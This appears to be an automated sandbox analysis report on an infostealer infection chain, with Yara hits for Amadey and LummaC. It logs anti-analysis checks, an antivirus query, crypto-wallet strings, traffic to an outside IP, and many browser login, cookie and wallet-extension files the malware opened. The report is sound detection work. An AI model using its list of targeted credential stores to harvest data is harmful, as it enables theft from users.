Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008FCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_008FCBEA

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Code function: 6_2_00B6A8E0 GetVersionExW,

6_2_00B6A8E0

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: procmon.exe
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: wireshark.exe
Source: 81c86993fb.exe, 00000009.00000003.2694442257.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694442257.000000000063D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: 83c3b21a33.exe, 0000000F.00000002.2992225003.0000000001068000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2320031632.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1744486368.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1785105860.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 81c86993fb.exe PID: 4488, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 81c86993fb.exe, 00000009.00000003.2665749339.000000000068B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: 81c86993fb.exe, 00000009.00000003.2665749339.000000000068B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 81c86993fb.exe, 00000009.00000003.2666288444.00000000006A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 81c86993fb.exe, 00000009.00000003.2665749339.000000000068B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 81c86993fb.exe, 00000009.00000003.2665749339.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 81c86993fb.exe, 00000009.00000003.2638017029.0000000005401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 81c86993fb.exe, 00000009.00000003.2665749339.000000000068B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 81c86993fb.exe, 00000009.00000003.2665697632.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 81c86993fb.exe, 00000009.00000003.2666288444.00000000006A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49886 -> 147.45.113.159:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
